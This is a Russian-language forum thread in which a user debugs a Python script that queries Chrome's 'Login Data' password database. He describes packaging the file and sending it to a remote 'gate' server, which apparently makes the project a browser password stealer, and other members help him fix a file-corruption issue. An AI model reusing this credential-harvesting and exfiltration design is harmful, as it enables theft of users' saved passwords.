Краш sqlite3 формата. С чем это может быть связано?

Тема в разделе "WASM.CRYPTO", создана пользователем nullPtr, 7 дек 2020.

Метки:
  1. nullPtr

    nullPtr Member

    Публикаций:
    0
    Регистрация:
    6 ноя 2020
    Сообщения:
    138
    Пишу 'белый' софт.
    Беру Login Data (где хранятся пароли юзера) и пытаюсь запросить данные.
    Формат db имеет - SQLite format 3

    Трабл в чем же?
    С нетронутым файлом операции запроса идут гладко. Но если я допишу любой символ и обратно удалю - крашится БД.

    В петоне ошибка: sqlite3.DatabaseError: file is encrypted or is not a database

    Т.е. я просто дописал символ, после вернул в исходное состояние и все, краш.
    Юзаю последний хром. Баг, фича, кривые руки?
    --- Сообщение объединено, 7 дек 2020 ---
    В питоне юзаю текущий sqlite3.dll. Но уверен, что не в этом дело.
    Не шарю в БД прост, подскажите если шарите
     
  2. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.241
    Код выкладывай.
     
  3. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    4.775
    nullPtr,

    Это ошибки в скрипте, задача не решаема. Во первых чем ты его отлаживать будешь ?
     
  4. nullPtr

    nullPtr Member

    Публикаций:
    0
    Регистрация:
    6 ноя 2020
    Сообщения:
    138
    Код (Text):
    1. import os
    2. from sys import exit
    3. import sys
    4. from supersqlite import sqlite3
    5.  
    6.  
    7. from win32crypt import CryptUnprotectData
    8.  
    9.  
    10. connection = sqlite3.connect("D:\Project\Server\data")
    11. with connection:
    12.      cursor = connection.cursor()
    13.      v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
    14.                
    15.      value = v.fetchall()
    16.                
    17.  
    18.      for i in value:
    19.             print("url :", i[0])
    20.  
    21. connection.close()
    22. input('')
    23.  
    data - это переименованный Login Data.
    При переименовке работает, но только стоит поменять - краш
    --- Сообщение объединено, 7 дек 2020 ---
    все так безнадежно что ле? Не верю :dntknw:
     
  5. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.241
    Я не вижу в коде где ты там что записываешь.
     
  6. nullPtr

    nullPtr Member

    Публикаций:
    0
    Регистрация:
    6 ноя 2020
    Сообщения:
    138
    ну у меня сборка файла в памяти

    <DATA filename="Login Data">Sqlite format3 ... </DATA>

    т.е. моя прога читает файл и сохраняет в таком формате в буфере. После сжимает и отправляет на гейт
    На гейте мой скрипт вытаскивает данные между этими тегами и делает запрос к БД

    И в этом крашится

    Условно есть файл Login Data->содержимое:
    SQLite format 3 ...

    работает все ок

    Меняем на
    helloSQLite format 3 ...

    после обратно убираем hello - крашится
    --- Сообщение объединено, 7 дек 2020 ---
    /------------------------------------------------------------------------------------------------/

    т.е. на севере когда мы парсим файл между тегов и сохраняем - БД крашится
     
  7. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.241
    Я нихера не понимаю. Где код, который крашится.
     
  8. nullPtr

    nullPtr Member

    Публикаций:
    0
    Регистрация:
    6 ноя 2020
    Сообщения:
    138
    сам файл Login Data крашится
    --- Сообщение объединено, 7 дек 2020 ---
    т.е. если мы изменим файл Login Data, после сохраним, а если вернем в обратное состояние - не будет работать.
    --- Сообщение объединено, 7 дек 2020 ---
    почему-то ошибка питона выходит, что файл зашифрован
    --- Сообщение объединено, 7 дек 2020 ---
    Рел, возьми файл Login Data.
    Возьми какой-нибудь парсер sql, хоть петон, хоть шарп.
    Сделай запрос - будет работать

    После, открой файл Login Data. Впиши левые данные и еще раз попробуй сделать запрос. Не заработает. Потому что файл крашнулся

    После обратно открой и удали те данные, которые вписал возвращяя в исходное состояние. И сделай запрос- не сработает

    По карйней мере у меня так. Т.е. после любого измемения и возврата в исходное состояние - файл крашится
     
  9. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.241
    Во-первых, возьми любой хекс редактор, который умеет сравнивать файлы, и проверь, что до изменения и после удаления изменения файлы одинаковые. Я не знаю, чего там менял и удалял.
     
  10. nullPtr

    nullPtr Member

    Публикаций:
    0
    Регистрация:
    6 ноя 2020
    Сообщения:
    138
    смотрел. Ничего не меняется. Абсолютно.
    Мб кривой парсер или обратно не коннектиться.

    Но я добавил лишь один байт и удили.
    лол, даже самому смешно из-за чего это все
     
  11. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.241
    Магии не бывает, парсер побайтно один и тот же файл распарсит одинаково. Как бы если ты не можешь продемонстрировать проблему полностью, то тут видимо особо не о чем говорить. Ты где-то накосячил, телепатически установить это место не удасться.
     
  12. nullPtr

    nullPtr Member

    Публикаций:
    0
    Регистрация:
    6 ноя 2020
    Сообщения:
    138
    да, странно даже.

    У меня тупо БД крашится из-за того, что я поменял один байт, а после восстановил. Магия? Не думаю
     
  13. q2e74

    q2e74 Active Member

    Публикаций:
    0
    Регистрация:
    18 окт 2018
    Сообщения:
    988
    nullPtr, а права на файл пока менял случаем не зацепил?
     
  14. НетРегистрации

    НетРегистрации Member

    Публикаций:
    0
    Регистрация:
    1 фев 2020
    Сообщения:
    72
    А также даты:время создания файла, модификации и т.п. могут быть и внутри файла и должны соответствовать.
     
  15. nullPtr

    nullPtr Member

    Публикаций:
    0
    Регистрация:
    6 ноя 2020
    Сообщения:
    138
    я вчера читал, тип зависит от sqlite3.dll и т.д.
    Нужен кастом парсер походу

    да, но не время и модификация а версию sqlite при создании файла скажем имеет версию 3.1, а если открываешь более поздней, то воркать не будет. Вроде

    Еще не тестил, еслчо сюда отпишу
     
  16. nullPtr

    nullPtr Member

    Публикаций:
    0
    Регистрация:
    6 ноя 2020
    Сообщения:
    138
    Ребят, решение оч глупое и простое.

    Я все открывал в notepad++ в старой версии, где там хекса нету и бинарь не открывает.
    Помню, я ее устанавливал 10000к лет назад. Обновил - вправил - работает на ура.

    Всем спасибо за фидбек ребята

    Да-да, обновляем софты

    А в хексе даже не догадался и не привык. Прост я там почти не работаю
     
  17. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    2
    Регистрация:
    11 июн 2004
    Сообщения:
    3.546
    Адрес:
    Russia
    nullPtr, 010 Editor открой для себя. Оч мощный хекс редактор.
     
    nullPtr нравится это.
  18. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.241
    Я wxHexEditor пользуюсь, он старый и некрасивый, но там есть весь нужный функционал и он одинаково работает и на венде и на линуксах.
    --- Сообщение объединено, 9 дек 2020 ---
    Он платный, но когда это нас останавливало, йо-хо-хо.
     
  19. Entropy

    Entropy Member

    Публикаций:
    0
    Регистрация:
    23 авг 2020
    Сообщения:
    174
    проприетарные софтины сильны,всё таки не зря деньги вкинуты,но опять же, не всегда
     
  20. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    2
    Регистрация:
    11 июн 2004
    Сообщения:
    3.546
    Адрес:
    Russia
    Entropy, это да. ну опять же зависит от целей. если просто поглядеть хекс то тут и любого фара тотала по F3 хватит.
    А если что то больше чем поглядеть....